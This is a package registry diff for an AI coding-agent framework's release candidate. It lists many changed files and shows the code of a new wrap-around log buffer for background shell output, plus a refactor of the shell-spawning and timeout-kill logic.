@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -10
- package/dist/agent/agent-definition-registry.d.ts +3 -0
- package/dist/agent/agent-definition-registry.js +3 -1
- package/dist/agent/agent-definition.d.ts +15 -0
- package/dist/agent/agent-definition.js +27 -3
- package/dist/arena/context/context-tools.js +47 -4
- package/dist/arena/ledger.js +9 -1
- package/dist/arena/strategies/utils.d.ts +1 -4
- package/dist/arena/strategies/utils.js +7 -84
- package/dist/automation/cron-expr.d.ts +10 -0
- package/dist/automation/cron-expr.js +23 -5
- package/dist/automation/runner.d.ts +21 -4
- package/dist/automation/runner.js +48 -12
- package/dist/automation/scheduler.d.ts +38 -0
- package/dist/automation/scheduler.js +89 -12
- package/dist/automation/store.js +5 -2
- package/dist/capability-control/disabled-lists.d.ts +25 -0
- package/dist/capability-control/disabled-lists.js +57 -0
- package/dist/capability-control/overlay.d.ts +15 -0
- package/dist/capability-control/overlay.js +27 -0
- package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
- package/dist/cc-orchestrator/agent-adapter.js +133 -0
- package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
- package/dist/cc-orchestrator/cc-capability.js +53 -0
- package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
- package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
- package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
- package/dist/cc-orchestrator/codex-session-history.js +187 -0
- package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
- package/dist/cc-orchestrator/external-agent-changes.js +214 -0
- package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
- package/dist/cc-orchestrator/external-agent-driver.js +69 -0
- package/dist/cc-orchestrator/index.d.ts +8 -0
- package/dist/cc-orchestrator/index.js +8 -0
- package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
- package/dist/cc-orchestrator/relevance-judge.js +29 -0
- package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
- package/dist/cc-orchestrator/session-discovery.js +125 -0
- package/dist/cc-orchestrator/session-history.d.ts +19 -0
- package/dist/cc-orchestrator/session-history.js +67 -0
- package/dist/cli/agent-server-stdio.d.ts +15 -1
- package/dist/cli/agent-server-stdio.js +115 -17
- package/dist/cli/agent-server-tcp.js +40 -26
- package/dist/context/compaction.d.ts +56 -0
- package/dist/context/compaction.js +186 -0
- package/dist/context/manager.js +25 -4
- package/dist/cost-tracker.js +5 -61
- package/dist/credentials/cipher.d.ts +49 -0
- package/dist/credentials/cipher.js +45 -0
- package/dist/credentials/cookie-jar.d.ts +24 -0
- package/dist/credentials/cookie-jar.js +40 -0
- package/dist/credentials/index.d.ts +7 -0
- package/dist/credentials/index.js +5 -0
- package/dist/credentials/inject-credential-tool.d.ts +20 -0
- package/dist/credentials/inject-credential-tool.js +130 -0
- package/dist/credentials/store.d.ts +72 -0
- package/dist/credentials/store.js +184 -0
- package/dist/credentials/types.d.ts +56 -0
- package/dist/credentials/use-credential-tool.d.ts +29 -0
- package/dist/credentials/use-credential-tool.js +205 -0
- package/dist/credentials/use-gate.d.ts +56 -0
- package/dist/credentials/use-gate.js +52 -0
- package/dist/data/model-metadata.d.ts +77 -0
- package/dist/data/model-metadata.js +56 -0
- package/dist/data/model-metadata.json +216 -0
- package/dist/data/openrouter-models.d.ts +18 -7
- package/dist/data/openrouter-models.js +35 -8
- package/dist/engine/aux-key.d.ts +10 -0
- package/dist/engine/aux-key.js +11 -0
- package/dist/engine/dynamic-tool-defs.d.ts +19 -0
- package/dist/engine/dynamic-tool-defs.js +36 -0
- package/dist/engine/engine.d.ts +267 -138
- package/dist/engine/engine.js +957 -191
- package/dist/engine/friendly-error.d.ts +18 -0
- package/dist/engine/friendly-error.js +63 -0
- package/dist/engine/goal.d.ts +145 -0
- package/dist/engine/goal.js +144 -0
- package/dist/engine/image-policy.d.ts +13 -0
- package/dist/engine/image-policy.js +24 -0
- package/dist/engine/model-connections-pool.d.ts +17 -0
- package/dist/engine/model-connections-pool.js +66 -0
- package/dist/engine/model-facade.d.ts +10 -0
- package/dist/engine/model-facade.js +25 -0
- package/dist/engine/patch-orphaned-tools.js +3 -0
- package/dist/engine/resolve-llm-config.d.ts +16 -0
- package/dist/engine/resolve-llm-config.js +44 -0
- package/dist/engine/runtime.js +2 -1
- package/dist/engine/sandbox-cache-key.d.ts +10 -0
- package/dist/engine/sandbox-cache-key.js +9 -0
- package/dist/engine/sandbox-config.d.ts +31 -0
- package/dist/engine/sandbox-config.js +38 -0
- package/dist/engine/session-usage.d.ts +19 -0
- package/dist/engine/session-usage.js +25 -0
- package/dist/engine/steer-queue.d.ts +32 -0
- package/dist/engine/steer-queue.js +26 -0
- package/dist/engine/streaming-tool-queue.d.ts +12 -0
- package/dist/engine/streaming-tool-queue.js +50 -10
- package/dist/engine/turn-loop.d.ts +67 -3
- package/dist/engine/turn-loop.js +292 -41
- package/dist/engine/types.d.ts +175 -0
- package/dist/engine/types.js +13 -0
- package/dist/external-agents/config.d.ts +2 -0
- package/dist/external-agents/config.js +15 -0
- package/dist/external-agents/types.d.ts +31 -0
- package/dist/external-agents/types.js +1 -0
- package/dist/git/utils.js +11 -6
- package/dist/git/worktree.d.ts +48 -0
- package/dist/git/worktree.js +86 -10
- package/dist/hooks/goal-stop-hook.d.ts +28 -0
- package/dist/hooks/goal-stop-hook.js +186 -9
- package/dist/hooks/registry.d.ts +8 -0
- package/dist/hooks/registry.js +19 -0
- package/dist/hooks/shell-runner.js +10 -21
- package/dist/index.d.ts +49 -6
- package/dist/index.js +60 -4
- package/dist/llm/capabilities/param-specs.d.ts +14 -0
- package/dist/llm/capabilities/param-specs.js +62 -0
- package/dist/llm/capabilities/rules.js +4 -0
- package/dist/llm/capabilities/types.d.ts +10 -0
- package/dist/llm/client-base.d.ts +28 -1
- package/dist/llm/client-base.js +119 -13
- package/dist/llm/model-cache.js +4 -2
- package/dist/llm/model-pool.d.ts +14 -0
- package/dist/llm/model-pool.js +13 -0
- package/dist/llm/provider-auth.d.ts +41 -0
- package/dist/llm/provider-auth.js +76 -0
- package/dist/llm/provider-catalog.d.ts +4 -0
- package/dist/llm/providers/anthropic.js +64 -14
- package/dist/llm/providers/openai.d.ts +36 -0
- package/dist/llm/providers/openai.js +257 -51
- package/dist/llm/reasoning-setting.d.ts +3 -3
- package/dist/llm/reasoning-setting.js +9 -1
- package/dist/llm/stream-watchdog.js +5 -1
- package/dist/llm/token-counter.js +9 -2
- package/dist/llm/types.d.ts +4 -0
- package/dist/logging/sanitize-messages.js +22 -0
- package/dist/lsp/manager.d.ts +1 -1
- package/dist/lsp/manager.js +40 -10
- package/dist/model-catalog/builtin.d.ts +12 -0
- package/dist/model-catalog/builtin.js +407 -0
- package/dist/model-catalog/gen-connections.d.ts +20 -0
- package/dist/model-catalog/gen-connections.js +28 -0
- package/dist/model-catalog/index.d.ts +41 -0
- package/dist/model-catalog/index.js +90 -0
- package/dist/model-catalog/params.d.ts +20 -0
- package/dist/model-catalog/params.js +45 -0
- package/dist/model-catalog/resolve.d.ts +48 -0
- package/dist/model-catalog/resolve.js +33 -0
- package/dist/model-catalog/save-entry.d.ts +32 -0
- package/dist/model-catalog/save-entry.js +104 -0
- package/dist/model-catalog/types.d.ts +561 -0
- package/dist/model-catalog/types.js +93 -0
- package/dist/model-catalog/upsert.d.ts +9 -0
- package/dist/model-catalog/upsert.js +8 -0
- package/dist/onboarding.d.ts +12 -82
- package/dist/onboarding.js +61 -326
- package/dist/plugins/gitOps.d.ts +19 -0
- package/dist/plugins/gitOps.js +73 -4
- package/dist/plugins/installer/checkUpdate.d.ts +16 -0
- package/dist/plugins/installer/checkUpdate.js +32 -0
- package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
- package/dist/plugins/installer/codex/convertCommands.js +46 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
- package/dist/plugins/installer/codex/convertMcp.js +45 -5
- package/dist/plugins/installer/install.js +25 -1
- package/dist/plugins/installer/installFromArchive.d.ts +43 -0
- package/dist/plugins/installer/installFromArchive.js +134 -0
- package/dist/plugins/installer/installFromSource.js +8 -2
- package/dist/plugins/installer/loadPluginAgents.js +6 -2
- package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
- package/dist/plugins/installer/loadPluginMcp.js +35 -2
- package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
- package/dist/plugins/installer/pruneDisabled.js +73 -0
- package/dist/plugins/installer/types.d.ts +5 -2
- package/dist/plugins/installer/types.js +1 -0
- package/dist/plugins/installer/uninstall.js +4 -0
- package/dist/plugins/installer/unzip.d.ts +14 -0
- package/dist/plugins/installer/unzip.js +82 -0
- package/dist/plugins/installer/update.d.ts +14 -0
- package/dist/plugins/installer/update.js +53 -21
- package/dist/plugins/loadPluginHooks.d.ts +47 -1
- package/dist/plugins/loadPluginHooks.js +73 -1
- package/dist/plugins/marketplaceManager.d.ts +7 -0
- package/dist/plugins/marketplaceManager.js +20 -0
- package/dist/plugins/pluginCommandHook.js +4 -18
- package/dist/plugins/pluginContent.d.ts +30 -0
- package/dist/plugins/pluginContent.js +83 -0
- package/dist/plugins/pluginInstaller.d.ts +13 -0
- package/dist/plugins/pluginInstaller.js +42 -8
- package/dist/plugins/schemas.js +1 -0
- package/dist/plugins/types.d.ts +6 -0
- package/dist/preset/index.d.ts +7 -1
- package/dist/preset/index.js +96 -6
- package/dist/product/types.d.ts +1 -1
- package/dist/prompt/composer.d.ts +27 -0
- package/dist/prompt/composer.js +67 -21
- package/dist/prompt/instruction-scanner.js +5 -3
- package/dist/prompt/section-loader.js +1 -0
- package/dist/prompt/sections/base.md +1 -0
- package/dist/prompt/sections/browser.md +10 -0
- package/dist/prompt/sections/coding.md +4 -0
- package/dist/protocol/chat-session-manager.d.ts +8 -2
- package/dist/protocol/chat-session-manager.js +36 -0
- package/dist/protocol/chat-session.d.ts +65 -0
- package/dist/protocol/chat-session.js +94 -2
- package/dist/protocol/client.d.ts +27 -0
- package/dist/protocol/client.js +38 -0
- package/dist/protocol/server.d.ts +112 -0
- package/dist/protocol/server.js +586 -16
- package/dist/protocol/transport.js +3 -2
- package/dist/protocol/types.d.ts +46 -0
- package/dist/protocol/types.js +16 -0
- package/dist/quota/credentials.d.ts +3 -0
- package/dist/quota/credentials.js +80 -0
- package/dist/quota/index.d.ts +36 -0
- package/dist/quota/index.js +155 -0
- package/dist/quota/types.d.ts +48 -0
- package/dist/quota/types.js +13 -0
- package/dist/review/review-prompt.d.ts +28 -0
- package/dist/review/review-prompt.js +81 -0
- package/dist/run/FileRunStore.js +8 -3
- package/dist/run/RunApprovalBackend.js +25 -5
- package/dist/run/RunManager.d.ts +12 -0
- package/dist/run/RunManager.js +35 -0
- package/dist/run/factory.d.ts +1 -1
- package/dist/runtime/background-shell.d.ts +139 -0
- package/dist/runtime/background-shell.js +495 -0
- package/dist/runtime/output-clean.d.ts +24 -0
- package/dist/runtime/output-clean.js +41 -0
- package/dist/runtime/ring-file.d.ts +64 -0
- package/dist/runtime/ring-file.js +174 -0
- package/dist/runtime/safe-spawn.js +15 -34
- package/dist/runtime/spawn-common.d.ts +148 -0
- package/dist/runtime/spawn-common.js +303 -0
- package/dist/runtime/truncate-output.d.ts +22 -0
- package/dist/runtime/truncate-output.js +49 -0
- package/dist/runtime/utf8-cut.d.ts +11 -0
- package/dist/runtime/utf8-cut.js +23 -0
- package/dist/services/auto-dream.d.ts +4 -0
- package/dist/services/auto-dream.js +26 -26
- package/dist/services/diagnostics.d.ts +1 -2
- package/dist/services/diagnostics.js +12 -7
- package/dist/services/extract-memories.d.ts +14 -1
- package/dist/services/extract-memories.js +45 -6
- package/dist/services/memory-orchestrator.d.ts +21 -0
- package/dist/services/memory-orchestrator.js +125 -50
- package/dist/services/session-memory.js +24 -12
- package/dist/session/file-history.d.ts +124 -1
- package/dist/session/file-history.js +222 -6
- package/dist/session/memory.d.ts +116 -2
- package/dist/session/memory.js +250 -28
- package/dist/session/session-manager.d.ts +40 -0
- package/dist/session/session-manager.js +113 -3
- package/dist/session/simple-diff.d.ts +23 -0
- package/dist/session/simple-diff.js +84 -0
- package/dist/session/transcript.d.ts +25 -1
- package/dist/session/transcript.js +35 -2
- package/dist/session/undo-target.d.ts +67 -0
- package/dist/session/undo-target.js +144 -0
- package/dist/settings/disk-defaults.d.ts +9 -2
- package/dist/settings/disk-defaults.js +11 -2
- package/dist/settings/feature-flags.d.ts +64 -0
- package/dist/settings/feature-flags.js +61 -0
- package/dist/settings/manager.d.ts +68 -1
- package/dist/settings/manager.js +266 -29
- package/dist/settings/migrate-config.d.ts +45 -0
- package/dist/settings/migrate-config.js +125 -0
- package/dist/settings/schema-export.d.ts +25 -0
- package/dist/settings/schema-export.js +38 -0
- package/dist/settings/schema.d.ts +1186 -771
- package/dist/settings/schema.js +268 -97
- package/dist/skills/scanner.d.ts +9 -0
- package/dist/skills/scanner.js +30 -2
- package/dist/stt/resolve-transcribe.d.ts +31 -0
- package/dist/stt/resolve-transcribe.js +108 -0
- package/dist/stt/transcribe.d.ts +51 -0
- package/dist/stt/transcribe.js +65 -0
- package/dist/tool-system/browser-bridge.d.ts +226 -0
- package/dist/tool-system/browser-bridge.js +163 -0
- package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
- package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
- package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
- package/dist/tool-system/builtin/agent-notifications.js +9 -3
- package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
- package/dist/tool-system/builtin/agent-output-file.js +72 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
- package/dist/tool-system/builtin/agent-registry.js +8 -0
- package/dist/tool-system/builtin/agent.d.ts +21 -1
- package/dist/tool-system/builtin/agent.js +489 -42
- package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
- package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
- package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
- package/dist/tool-system/builtin/apply-patch/index.js +0 -15
- package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
- package/dist/tool-system/builtin/background-jobs.js +124 -0
- package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
- package/dist/tool-system/builtin/background-shell-tools.js +108 -0
- package/dist/tool-system/builtin/background-work.d.ts +67 -0
- package/dist/tool-system/builtin/background-work.js +86 -0
- package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
- package/dist/tool-system/builtin/bash-output-style.js +40 -0
- package/dist/tool-system/builtin/bash.d.ts +5 -2
- package/dist/tool-system/builtin/bash.js +98 -62
- package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
- package/dist/tool-system/builtin/browser-tools.js +312 -0
- package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
- package/dist/tool-system/builtin/cancel-goal.js +64 -0
- package/dist/tool-system/builtin/check-quota.d.ts +15 -0
- package/dist/tool-system/builtin/check-quota.js +34 -0
- package/dist/tool-system/builtin/config.js +7 -0
- package/dist/tool-system/builtin/cron.d.ts +7 -0
- package/dist/tool-system/builtin/cron.js +55 -3
- package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
- package/dist/tool-system/builtin/drive-claude-code.js +157 -0
- package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
- package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
- package/dist/tool-system/builtin/edit.js +20 -16
- package/dist/tool-system/builtin/eol.d.ts +29 -0
- package/dist/tool-system/builtin/eol.js +37 -0
- package/dist/tool-system/builtin/file-cache.d.ts +6 -0
- package/dist/tool-system/builtin/file-cache.js +8 -0
- package/dist/tool-system/builtin/generate-image.d.ts +35 -0
- package/dist/tool-system/builtin/generate-image.js +278 -50
- package/dist/tool-system/builtin/generate-video.d.ts +55 -0
- package/dist/tool-system/builtin/generate-video.js +361 -0
- package/dist/tool-system/builtin/glob.js +0 -7
- package/dist/tool-system/builtin/grep.js +6 -8
- package/dist/tool-system/builtin/image-providers.d.ts +86 -0
- package/dist/tool-system/builtin/image-providers.js +190 -0
- package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
- package/dist/tool-system/builtin/image-uploader.js +74 -0
- package/dist/tool-system/builtin/index.d.ts +7 -1
- package/dist/tool-system/builtin/index.js +249 -25
- package/dist/tool-system/builtin/mcp-tools.js +23 -3
- package/dist/tool-system/builtin/memory.js +45 -7
- package/dist/tool-system/builtin/notebook-edit.js +0 -7
- package/dist/tool-system/builtin/powershell.js +4 -1
- package/dist/tool-system/builtin/read.js +10 -10
- package/dist/tool-system/builtin/repl.js +4 -1
- package/dist/tool-system/builtin/skill.js +9 -0
- package/dist/tool-system/builtin/sleep.js +3 -2
- package/dist/tool-system/builtin/tool-search.js +25 -7
- package/dist/tool-system/builtin/video-providers.d.ts +154 -0
- package/dist/tool-system/builtin/video-providers.js +235 -0
- package/dist/tool-system/builtin/web-fetch.js +12 -2
- package/dist/tool-system/builtin/web-search.js +21 -7
- package/dist/tool-system/builtin/worktree.d.ts +2 -1
- package/dist/tool-system/builtin/worktree.js +31 -4
- package/dist/tool-system/builtin/write.js +0 -6
- package/dist/tool-system/context.d.ts +154 -6
- package/dist/tool-system/executor.d.ts +3 -1
- package/dist/tool-system/executor.js +172 -88
- package/dist/tool-system/investigation-guard.js +1 -1
- package/dist/tool-system/mcp-manager.d.ts +42 -4
- package/dist/tool-system/mcp-manager.js +186 -20
- package/dist/tool-system/path-policy.d.ts +5 -0
- package/dist/tool-system/path-policy.js +307 -8
- package/dist/tool-system/permission.d.ts +36 -1
- package/dist/tool-system/permission.js +281 -69
- package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
- package/dist/tool-system/plan-mode-allowlist.js +24 -2
- package/dist/tool-system/registry.d.ts +1 -0
- package/dist/tool-system/registry.js +16 -2
- package/dist/tool-system/sandbox/index.d.ts +8 -0
- package/dist/tool-system/sandbox/index.js +7 -2
- package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
- package/dist/tool-system/validate-tool-metadata.js +63 -0
- package/dist/types.d.ts +217 -6
- package/dist/updater.js +20 -9
- package/dist/utils/envUtils.d.ts +0 -9
- package/dist/utils/envUtils.js +3 -28
- package/dist/utils/exec.d.ts +40 -0
- package/dist/utils/exec.js +144 -0
- package/dist/utils/json.d.ts +12 -0
- package/dist/utils/json.js +92 -0
- package/dist/utils/theme.d.ts +1 -1
- package/dist/utils/theme.js +1 -1
- package/dist/utils/toolDisplay.js +0 -1
- package/package.json +13 -7
- package/dist/agent/coordinator.d.ts +0 -49
- package/dist/agent/coordinator.js +0 -77
- package/dist/settings/manager.test.js +0 -73
- package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
- package/dist/tool-system/builtin/remote-trigger.js +0 -54
- package/dist/tool-system/builtin/send-message.d.ts +0 -6
- package/dist/tool-system/builtin/send-message.js +0 -47
- /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
|
@@ -0,0 +1,174 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* RingFile — a bounded, wrap-around output sink for a background shell's
|
|
3
|
+
* stdout/stderr (design §6 "落盘 8MB 环绕覆盖").
|
|
4
|
+
*
|
|
5
|
+
* Semantics: the logical stream is unbounded, but only the **last N bytes**
|
|
6
|
+
* are retained. When the stream exceeds the cap, the oldest bytes are
|
|
7
|
+
* dropped (`didWrap()` flips true). A dev server's startup banner is
|
|
8
|
+
* disposable; the recent tail is what the agent/user wants.
|
|
9
|
+
*
|
|
10
|
+
* Implementation: an in-memory tail Buffer is authoritative (so `readAll`
|
|
11
|
+
* and the manager's offset math never touch disk), mirrored to a file so a
|
|
12
|
+
* user can `tail`/open it with external tools. The disk mirror is
|
|
13
|
+
* best-effort — if the path is unwritable the in-memory buffer still works
|
|
14
|
+
* and the manager degrades to memory-only (design §7).
|
|
15
|
+
*
|
|
16
|
+
* The on-disk file holds the same retained tail as memory (rewritten on
|
|
17
|
+
* wrap, appended otherwise). We accept the cost of an occasional full
|
|
18
|
+
* rewrite on wrap; for line-oriented dev output at the 8MB cap this is rare
|
|
19
|
+
* and cheap relative to the process's own work.
|
|
20
|
+
*/
|
|
21
|
+
import { openSync, writeSync, readSync, ftruncateSync, closeSync, fsyncSync, fstatSync, existsSync, } from "node:fs";
|
|
22
|
+
export class RingFile {
|
|
23
|
+
path;
|
|
24
|
+
capBytes;
|
|
25
|
+
buf = Buffer.alloc(0);
|
|
26
|
+
wrapped = false;
|
|
27
|
+
fd = null;
|
|
28
|
+
diskOk = true;
|
|
29
|
+
readonlyMode = false;
|
|
30
|
+
/** Total bytes ever written to the logical stream (monotonic, NOT capped).
|
|
31
|
+
* The retained window is the last `min(total, cap)` of these. Readers track
|
|
32
|
+
* an ABSOLUTE position in this stream so incremental reads survive
|
|
33
|
+
* wraparound (a window-relative offset would silently skip new data once
|
|
34
|
+
* the window starts sliding). */
|
|
35
|
+
total = 0;
|
|
36
|
+
constructor(path, capBytes,
|
|
37
|
+
/** Read-only: load the EXISTING file's tail into memory and never truncate
|
|
38
|
+
* or write. Used to surface a recovered orphan shell's already-captured
|
|
39
|
+
* output (the live process owns the .log in another worker). */
|
|
40
|
+
readonlyExisting = false) {
|
|
41
|
+
this.path = path;
|
|
42
|
+
this.capBytes = capBytes;
|
|
43
|
+
if (readonlyExisting) {
|
|
44
|
+
this.readonlyMode = true;
|
|
45
|
+
this.fd = null;
|
|
46
|
+
try {
|
|
47
|
+
if (existsSync(path)) {
|
|
48
|
+
// Read only the trailing `capBytes`, not the whole file. A reader
|
|
49
|
+
// never keeps more than the cap (see write()), so slurping a
|
|
50
|
+
// multi-MB .log just to discard all but the tail blocks the worker's
|
|
51
|
+
// event loop on startup for nothing (see memory: main sync-fs freeze).
|
|
52
|
+
const rfd = openSync(path, "r");
|
|
53
|
+
try {
|
|
54
|
+
const size = fstatSync(rfd).size;
|
|
55
|
+
const toRead = Math.min(size, capBytes);
|
|
56
|
+
const start = size - toRead;
|
|
57
|
+
const data = Buffer.alloc(toRead);
|
|
58
|
+
if (toRead > 0)
|
|
59
|
+
readSync(rfd, data, 0, toRead, start);
|
|
60
|
+
this.buf = data;
|
|
61
|
+
this.total = size; // logical stream length stays the full file size
|
|
62
|
+
this.wrapped = size > capBytes;
|
|
63
|
+
}
|
|
64
|
+
finally {
|
|
65
|
+
closeSync(rfd);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
catch {
|
|
70
|
+
/* best effort — empty buf on read failure */
|
|
71
|
+
}
|
|
72
|
+
return;
|
|
73
|
+
}
|
|
74
|
+
try {
|
|
75
|
+
// 'w' — truncate/create. One file per shell, owned by this RingFile.
|
|
76
|
+
this.fd = openSync(path, "w");
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
this.diskOk = false;
|
|
80
|
+
this.fd = null;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
/** True if the disk mirror is usable (false → memory-only degraded mode). */
|
|
84
|
+
diskAvailable() {
|
|
85
|
+
return this.diskOk;
|
|
86
|
+
}
|
|
87
|
+
write(chunk) {
|
|
88
|
+
this.total += chunk.length;
|
|
89
|
+
const combined = this.buf.length
|
|
90
|
+
? Buffer.concat([this.buf, chunk])
|
|
91
|
+
: chunk;
|
|
92
|
+
if (combined.length <= this.capBytes) {
|
|
93
|
+
this.buf = combined;
|
|
94
|
+
this.appendToDisk(chunk);
|
|
95
|
+
return;
|
|
96
|
+
}
|
|
97
|
+
// Over cap: keep only the trailing capBytes.
|
|
98
|
+
this.wrapped = true;
|
|
99
|
+
this.buf = combined.subarray(combined.length - this.capBytes);
|
|
100
|
+
this.rewriteDisk();
|
|
101
|
+
}
|
|
102
|
+
/** Whether any bytes have been discarded by wraparound. */
|
|
103
|
+
didWrap() {
|
|
104
|
+
return this.wrapped;
|
|
105
|
+
}
|
|
106
|
+
/** The retained tail, decoded as UTF-8. */
|
|
107
|
+
readAll() {
|
|
108
|
+
return this.buf.toString("utf8");
|
|
109
|
+
}
|
|
110
|
+
/** Current retained byte length (for the agent read offset math). */
|
|
111
|
+
byteLength() {
|
|
112
|
+
return this.buf.length;
|
|
113
|
+
}
|
|
114
|
+
/** Bytes from `offset` (within the retained window) to the end. */
|
|
115
|
+
sliceFrom(offset) {
|
|
116
|
+
const start = Math.max(0, Math.min(offset, this.buf.length));
|
|
117
|
+
return this.buf.subarray(start);
|
|
118
|
+
}
|
|
119
|
+
/** Total bytes ever written to the logical stream (monotonic). Readers use
|
|
120
|
+
* this as their next cursor after a read. */
|
|
121
|
+
totalWritten() {
|
|
122
|
+
return this.total;
|
|
123
|
+
}
|
|
124
|
+
/**
|
|
125
|
+
* Bytes from an ABSOLUTE stream position to the current end. `absOffset` is
|
|
126
|
+
* a value previously returned by {@link totalWritten}. If it points before
|
|
127
|
+
* the retained window (the bytes were discarded by wraparound), returns the
|
|
128
|
+
* whole window. If it's at/after the end, returns empty.
|
|
129
|
+
*/
|
|
130
|
+
sliceFromAbsolute(absOffset) {
|
|
131
|
+
const windowStartAbs = this.total - this.buf.length; // abs position of buf[0]
|
|
132
|
+
const rel = absOffset - windowStartAbs;
|
|
133
|
+
const start = Math.max(0, Math.min(rel, this.buf.length));
|
|
134
|
+
return this.buf.subarray(start);
|
|
135
|
+
}
|
|
136
|
+
close() {
|
|
137
|
+
if (this.fd !== null) {
|
|
138
|
+
try {
|
|
139
|
+
fsyncSync(this.fd);
|
|
140
|
+
}
|
|
141
|
+
catch {
|
|
142
|
+
/* best-effort */
|
|
143
|
+
}
|
|
144
|
+
try {
|
|
145
|
+
closeSync(this.fd);
|
|
146
|
+
}
|
|
147
|
+
catch {
|
|
148
|
+
/* best-effort */
|
|
149
|
+
}
|
|
150
|
+
this.fd = null;
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
appendToDisk(chunk) {
|
|
154
|
+
if (this.fd === null)
|
|
155
|
+
return;
|
|
156
|
+
try {
|
|
157
|
+
writeSync(this.fd, chunk);
|
|
158
|
+
}
|
|
159
|
+
catch {
|
|
160
|
+
this.diskOk = false;
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
rewriteDisk() {
|
|
164
|
+
if (this.fd === null)
|
|
165
|
+
return;
|
|
166
|
+
try {
|
|
167
|
+
ftruncateSync(this.fd, 0);
|
|
168
|
+
writeSync(this.fd, this.buf, 0, this.buf.length, 0);
|
|
169
|
+
}
|
|
170
|
+
catch {
|
|
171
|
+
this.diskOk = false;
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
}
|
|
@@ -35,6 +35,7 @@
|
|
|
35
35
|
*/
|
|
36
36
|
import { spawn } from "node:child_process";
|
|
37
37
|
import { StringDecoder } from "node:string_decoder";
|
|
38
|
+
import { resolveSpawnTarget, defaultShellBinary, killChildTree } from "./spawn-common.js";
|
|
38
39
|
export const DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;
|
|
39
40
|
export const DEFAULT_IO_DRAIN_GRACE_MS = 100;
|
|
40
41
|
const TIMEOUT_SIGKILL_GRACE_MS = 2000;
|
|
@@ -59,20 +60,15 @@ export function safeSpawn(file, args, opts) {
|
|
|
59
60
|
* abort, timeout, pre-spawn-abort. Used by the Bash tool.
|
|
60
61
|
*/
|
|
61
62
|
export function safeSpawnShell(command, opts) {
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
}
|
|
72
|
-
else {
|
|
73
|
-
file = shell;
|
|
74
|
-
args = ["-c", command];
|
|
75
|
-
}
|
|
63
|
+
// Don't hardcode a POSIX default here — resolveSpawnTarget →
|
|
64
|
+
// resolveShellInvocation picks the platform shell (cmd.exe on Windows,
|
|
65
|
+
// $SHELL/bin/bash on POSIX) when opts.shell is omitted.
|
|
66
|
+
const shell = opts.shell ?? defaultShellBinary();
|
|
67
|
+
const { file, args, cleanup } = resolveSpawnTarget(command, {
|
|
68
|
+
cwd: opts.cwd,
|
|
69
|
+
shell,
|
|
70
|
+
sandbox: opts.sandbox,
|
|
71
|
+
});
|
|
76
72
|
return runLifecycle({ file, args, opts, cleanup });
|
|
77
73
|
}
|
|
78
74
|
function runLifecycle({ file, args, opts, cleanup }) {
|
|
@@ -117,31 +113,16 @@ function runLifecycle({ file, args, opts, cleanup }) {
|
|
|
117
113
|
let aborted = false;
|
|
118
114
|
const timer = setTimeout(() => {
|
|
119
115
|
timedOut = true;
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
setTimeout(() => {
|
|
125
|
-
try {
|
|
126
|
-
child.kill("SIGKILL");
|
|
127
|
-
}
|
|
128
|
-
catch { /* ignore */ }
|
|
129
|
-
}, TIMEOUT_SIGKILL_GRACE_MS).unref();
|
|
116
|
+
// win32: taskkill /T reaps the whole tree (a foreground `npm test`
|
|
117
|
+
// spawns node children that child.kill() alone would orphan). POSIX:
|
|
118
|
+
// SIGTERM → grace → SIGKILL. See killChildTree.
|
|
119
|
+
killChildTree(child, TIMEOUT_SIGKILL_GRACE_MS);
|
|
130
120
|
}, opts.timeoutMs);
|
|
131
121
|
let onAbort;
|
|
132
122
|
if (opts.signal) {
|
|
133
123
|
onAbort = () => {
|
|
134
124
|
aborted = true;
|
|
135
|
-
|
|
136
|
-
child.kill("SIGTERM");
|
|
137
|
-
}
|
|
138
|
-
catch { /* may already be dead */ }
|
|
139
|
